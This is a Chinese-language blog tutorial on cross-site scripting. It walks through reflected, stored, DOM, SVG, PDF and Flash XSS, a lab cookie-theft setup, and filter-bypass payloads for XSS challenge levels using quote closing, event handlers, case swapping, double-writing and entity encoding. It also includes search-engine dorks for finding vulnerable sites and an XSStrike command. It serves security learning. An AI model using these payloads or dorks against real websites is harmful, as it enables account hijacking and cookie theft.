XSS跨站脚本攻击

XSS跨站脚本攻击

漏洞原理:接受JS代码,输出JS代码解释执行

网站输出的内容,输入数据能控制。

黑盒XSS手工分析

1、页面中显示的数据找可控的(有些隐藏的)

2、利用可控地方发送JS代码去看执行加载情况

3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)

4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

绕过常用标签

xss常用标签绕过总结1

xss常用标签绕过总结2

反射型(非持续性)

接受正常的输出,将其更改后执行js代码

执行了js弹窗

复制代码
x=<script>alert(1)</script>

标签换成<img执行刚刚的xss语句,并不能执行成功

复制代码
x=<script>alert(1)</script>

查看源代码xss语句需要绕过,

如果报错就执行"alert(1)"

复制代码
x onerror="alert(1)">

查看源代码可以看到,js语句已经拼接成功

嵌套xiaodi8.com

复制代码
x=<iframe%20src%20="http://www.xiaodi8.com">test</iframe>
案例

可以看到http accept被显示出来,并且是我们可以控制的。

burp抓包添加js语句

复制代码
<script>alert(1)<script>

放包后成功弹窗

存储型(持续性)

持续化的XSS攻击方式,将恶意代码存储于服务器,当其他用户再次访问时触发,造成XSS攻击。

案例

后台有登录日志

重新回到登录框,构造js语句

复制代码
<script>alert(123)</script>

再登录后台,js语句执行成功

查看源代码可以看到js语句

Dom型(非持续性)

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。

页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

案例

Google语法

复制代码
edu.cn inurl:url=http

利用就将js语句更改

复制代码
url=javascript:alert(1)
SVG-xss

在svg文件中插入js语句

上传svg文件,但是文件不支持,直接复制图片地址

访问弹窗

PDF-xss

使用pdf编辑器,打开属性,添加动作,选择执行js语句

复制代码
app.alert(1)

上传pdf到网站

访问网站链接,执行xss

Flash-xss

使用网站上的本身有的swf文件进行反编译,常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

fofa语法

&& 复制代码
"phpwind" && icon_hash="-1005349246"

查找到ExternalInterface.call

获取jsobject的变量再用到ExternalInterface.call

复制代码
uploader.swf?jsobject=alert(1)

因为配置问题访问swf文件直接下载,就复现不了。

cookie盗取
小皮面板

谷歌浏览器充当攻击者,edge浏览器充当管理员

搭建xss平台,配置好获取cookie的js

生成payload

将js语句插入到有xss漏洞中

当管理员登录到后台后会获取到cookie

复制cookie信息到cookie插件中保存

访问后台地址http://192.168.100.102:9080/10F34D#/home/logs/成功访问到后台

xss靶场

绕过

第一关
第二关

直接输入js语句无法执行,F12打开对应位置,看到有引号

直接引号闭合

复制代码
"><script>alert(1)</script>
第三关

实体化标签

使用标签事件绕过

复制代码
' onfocus=javascript:alert() '
第四关
复制代码
"onfocus=javascript:alert()
第五关

on被过滤利用其它标签绕过

复制代码
"> <a href=javascript:alert()>xxx</a> <"
第六关
复制代码
<script>alert(1)</script>

script被过滤

大小写绕过

复制代码
"><script>alert(1)</script><"
第七关

过滤了script

复制代码
<script>alert(1)</script>

双写绕过

复制代码
"><scrscriptipt>alert(1)</scrscriptipt><"
第八关

过滤script,大小写双写都不能绕过

unicode编码

复制代码
javascript:alert(1)
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029
第九关

需要字符串中带有http://

unicode编码

复制代码
javascript:alert(1)
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

拼接上http://

复制代码
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029;('http://')
第十关

隐藏属性触发闭合

修改标签鼠标点击触发js语句

复制代码
?t_sort=" onfocus=javascript:alert() type="text
XSS工具

项目地址

复制代码
python xsstrike.py -u "http://192.168.100.2:1002/level11.php"

复制payload成功绕过

相关推荐
新缸中之脑15 分钟前
追踪来自Agent的Web 流量
前端
wefly201737 分钟前
从使用到原理,深度解析m3u8live.cn—— 基于 HLS.js 的 M3U8 在线播放器实现
java·开发语言·前端·javascript·ecmascript·php·m3u8
Chengbei1143 分钟前
若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御
数据库·sql·安全·web安全·网络安全·系统安全·安全架构
英俊潇洒美少年1 小时前
vue如何实现react useDeferredvalue和useTransition的效果
前端·vue.js·react.js
钛态2 小时前
Flutter for OpenHarmony:mockito 单元测试的替身演员,轻松模拟复杂依赖(测试驱动开发必备) 深度解析与鸿蒙适配指南
服务器·驱动开发·安全·flutter·华为·单元测试·harmonyos
kyriewen112 小时前
给浏览器画个圈:CSS contain 如何让页面从“卡成PPT”变“丝滑如德芙”
开发语言·前端·javascript·css·chrome·typescript·ecmascript
英俊潇洒美少年2 小时前
react19和vue3的优缺点 对比
前端·javascript·vue.js·react.js
小二·3 小时前
威胁情报驱动的安全运营:从IOC到TTPs的深度狩猎实战指南
安全
~无忧花开~4 小时前
React生命周期全解析
开发语言·前端·javascript·react.js·前端框架·react